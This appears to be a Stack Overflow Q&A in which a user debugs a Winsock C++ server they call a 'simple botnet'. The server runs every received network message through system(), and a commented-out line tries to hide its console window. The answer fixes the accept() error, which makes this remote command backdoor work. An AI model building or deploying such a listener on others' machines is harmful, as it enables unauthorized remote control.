0

I'm trying to make a simple botnet(not for evil purposes) with winsock, the client is ok(at least at the syntax), but the server has error when i call the accept function, it returns SOCKET_ERROR, i called WSAGetLastError() to get the error number and it returned 10014. In the MSDN page, it says this:

Bad address.

The system detected an invalid pointer address in attempting to use a pointer argument of a call. This error occurs if an application passes an invalid pointer value, or if the length of the buffer is too small. For instance, if the length of an argument, which is a sockaddr structure, is smaller than the sizeof(sockaddr).

Well, i don't have any idea of what to do.

botnetserver.cpp

#include <winsock2.h>
#include <windows.h>
#include <iostream>

#define PORT 5051
#define BUFFMAX 1024 // Buffer max

using namespace std;

int main() {
    SOCKADDR_IN svaddr; // server address
    SOCKADDR_IN claddr; // client addres
    SOCKET listensocket;
    SOCKET client;
    WSADATA WsaData;
    char buffer[BUFFMAX];
    int i = sizeof(client);
    //ShowWindow(GetConsoleWindow(), SW_HIDE);, fail

    WSAStartup(MAKEWORD(2, 2), &WsaData);

    listensocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    svaddr.sin_family = AF_INET;
    svaddr.sin_port = htons(PORT);
    svaddr.sin_addr.s_addr = htonl(INADDR_ANY);

    bind(listensocket, (SOCKADDR*) &svaddr, sizeof(svaddr));
    client = listen(listensocket, 5)) == SOCKET_ERROR
    accept(listensocket, (SOCKADDR*)&claddr, &i) // Error here

    while(true) {
        /* other things i tried
        cout << "\n\n" << buffer << "\n\n";
        cout << o << "\n";
        buffer[BUFFMAX] = '\0';*/
        recv(client, buffer, BUFFMAX, 0);
        if(strcmp(buffer, "<fim>") != 0) {
            system(buffer);
            //break;
        } else {break;}
    }
    closesocket(client);
    closesocket(listensocket);
    WSACleanup();
    system("pause");
}
1
  • Further problems: 1. You're ignoring the value returned by recv(). It could be -1 indicating an error, or zero indicating end of stream. 2. It isn't valid to assume that a buffer you've just received into is null-terminated. If you want it null-terminated, either send it null-terminated and be sure you've read the entire message before you use it as null-terminated, or else null-terminate it yourself after recv(). Commented Sep 24, 2014 at 4:16

1 Answer 1

2

There are two mistakes in your code:

  1. int i = sizeof(client);

i needs to be initialized as sizeof(claddr) instead. This is what accept() is failing on. sizeof(client) is smaller than sizeof(claddr) so accept() thinks your claddr buffer is too small to receive the client's IP address. This is clearly stated in the documentation you quoted:

The system detected an invalid pointer address in attempting to use a pointer argument of a call. This error occurs if an application passes an invalid pointer value, or if the length of the buffer is too small. For instance, if the length of an argument, which is a sockaddr structure, is smaller than the sizeof(sockaddr).

  1. client = listen(listensocket, 5)) == SOCKET_ERROR

client is a SOCKET handle. You cannot assign the result of the == operator to a SOCKET. You need to assign the result of accept() to client instead.

Change those lines to look like this instead:

int i = sizeof(claddr);
...
listen(listensocket, 5);
client = accept(listensocket, (SOCKADDR*)&claddr, &i);

With that said, you also need to fix your recv() loop. recv() does not return null-terminated data, but strcmp() requires that. You need to null-terminate the buffer after reading, or use strncmp() instead, using the result of recv() as the buffer length. And you need to take into account that it may take multiple calls to recv() to receive <fim>, so you need to implement proper buffering.

And, you need to add proper error handling on ALL function calls.

Sign up to request clarification or add additional context in comments.

1 Comment

It worked! thanks, and about 2.: some code i forgot to remove, well, thanks

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.